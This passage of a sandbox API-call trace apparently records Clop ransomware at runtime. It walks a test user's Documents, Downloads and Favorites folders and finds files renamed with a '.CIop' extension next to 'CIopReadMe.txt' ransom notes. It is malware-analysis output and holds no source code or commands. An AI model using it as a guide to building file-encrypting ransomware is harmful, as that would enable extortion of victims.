lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.164] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.164] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.164] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.164] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0169.165] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0169.165] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0169.165] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.165] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.165] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0169.165] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0169.165] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0169.165] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.165] lstrcmpW (lpString1="sNkHGs", lpString2="..") returned 1 [0169.165] lstrcmpW (lpString1="sNkHGs", lpString2=".") returned 1 [0169.165] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0169.165] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0169.165] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0169.165] SetErrorMode (uMode=0x1) returned 0x1 [0169.165] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0169.165] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0169.165] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0169.165] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*" [0169.165] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dc38 [0169.165] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="sNkHGs" [0169.165] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="sNkHGs" | out: lpString1="sNkHGs") returned="sNkHGs" [0169.165] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.165] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.165] lstrcmpW (lpString1="0KK10L8Yj9PSdD5_rlI8.pptx.CIop", lpString2="..") returned 1 [0169.165] lstrcmpW (lpString1="0KK10L8Yj9PSdD5_rlI8.pptx.CIop", lpString2=".") returned 1 [0169.165] lstrlenW (lpString=".CIop") returned 5 [0169.165] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.166] lstrcmpW (lpString1="6w48s.rtf.CIop", lpString2="..") returned 1 [0169.166] lstrcmpW (lpString1="6w48s.rtf.CIop", lpString2=".") returned 1 [0169.166] lstrlenW (lpString=".CIop") returned 5 [0169.166] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.166] lstrcmpW (lpString1="B-2cmW.doc.CIop", lpString2="..") returned 1 [0169.166] lstrcmpW (lpString1="B-2cmW.doc.CIop", lpString2=".") returned 1 [0169.166] lstrlenW (lpString=".CIop") returned 5 [0169.166] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.166] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.166] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.166] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.166] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.166] lstrcmpW (lpString1="CQjd3NSx.ppt.CIop", lpString2="..") returned 1 [0169.166] lstrcmpW (lpString1="CQjd3NSx.ppt.CIop", lpString2=".") returned 1 [0169.166] lstrlenW (lpString=".CIop") returned 5 [0169.166] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.166] lstrcmpW (lpString1="DYnSH7i.xls.CIop", lpString2="..") returned 1 [0169.166] lstrcmpW (lpString1="DYnSH7i.xls.CIop", lpString2=".") returned 1 [0169.166] lstrlenW (lpString=".CIop") returned 5 [0169.166] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.166] lstrcmpW (lpString1="mR4SZZ7.pptx.CIop", lpString2="..") returned 1 [0169.166] lstrcmpW (lpString1="mR4SZZ7.pptx.CIop", lpString2=".") returned 1 [0169.166] lstrlenW (lpString=".CIop") returned 5 [0169.166] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0169.166] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 1 [0169.166] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 0 [0169.166] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0169.166] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*" [0169.166] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67db78 [0169.166] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="sNkHGs" [0169.166] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="sNkHGs" | out: lpString1="sNkHGs") returned="sNkHGs" [0169.166] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.166] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.166] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.166] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.166] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.166] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.166] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.166] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.167] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.167] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0169.167] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0169.167] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0169.167] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0169.167] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0169.167] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0169.167] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.167] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0169.167] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0169.167] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.167] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.167] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.167] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.167] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.167] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.167] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0169.167] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0169.167] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.168] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.168] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0169.168] SetErrorMode (uMode=0x1) returned 0x1 [0169.168] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0169.168] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" [0169.168] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" [0169.168] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*" [0169.168] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.168] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="Downloads" [0169.168] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0169.168] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.168] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.168] lstrcmpW (lpString1="ChromeSetup.exe", lpString2="..") returned 1 [0169.168] lstrcmpW (lpString1="ChromeSetup.exe", lpString2=".") returned 1 [0169.168] lstrlenW (lpString=".exe") returned 4 [0169.168] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.168] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.168] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.168] lstrlenW (lpString="desktop.ini") returned 11 [0169.168] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.168] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2="..") returned 1 [0169.168] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2=".") returned 1 [0169.168] lstrlenW (lpString=".exe") returned 4 [0169.168] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.168] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.168] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.168] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0169.168] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*" [0169.168] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.168] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="Downloads" [0169.168] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0169.169] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.169] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.169] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.169] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.169] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.169] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.169] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.169] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.169] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.169] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0169.169] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0169.169] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.169] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.169] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0169.169] SetErrorMode (uMode=0x1) returned 0x1 [0169.169] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0169.169] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0169.169] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0169.169] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*" [0169.169] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.169] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="Favorites" [0169.169] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0169.169] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.169] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.169] lstrcmpW (lpString1="Bing.url.CIop", lpString2="..") returned 1 [0169.169] lstrcmpW (lpString1="Bing.url.CIop", lpString2=".") returned 1 [0169.169] lstrlenW (lpString=".CIop") returned 5 [0169.169] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.169] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.169] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.169] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.169] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.169] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.169] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.169] lstrlenW (lpString="desktop.ini") returned 11 [0169.170] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.170] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.170] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.170] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.170] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0169.170] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*" [0169.170] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.170] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="Favorites" [0169.170] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0169.170] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.170] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.170] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.170] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.170] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.170] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.170] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0169.170] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0169.170] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0169.170] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0169.170] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0169.170] SetErrorMode (uMode=0x1) returned 0x1 [0169.170] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0169.170] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" [0169.170] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" [0169.170] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*" [0169.170] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dd78 [0169.170] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="Links" [0169.170] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Links" | out: lpString1="Links") returned="Links" [0169.170] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.170] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.170] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.171] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.171] lstrlenW (lpString="desktop.ini") returned 11 [0169.171] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.171] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0169.171] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0169.171] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0169.171] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*" [0169.171] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e0f8 [0169.171] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="Links" [0169.171] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Links" | out: lpString1="Links") returned="Links" [0169.171] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.171] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.171] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.171] FindNextFileW (in: 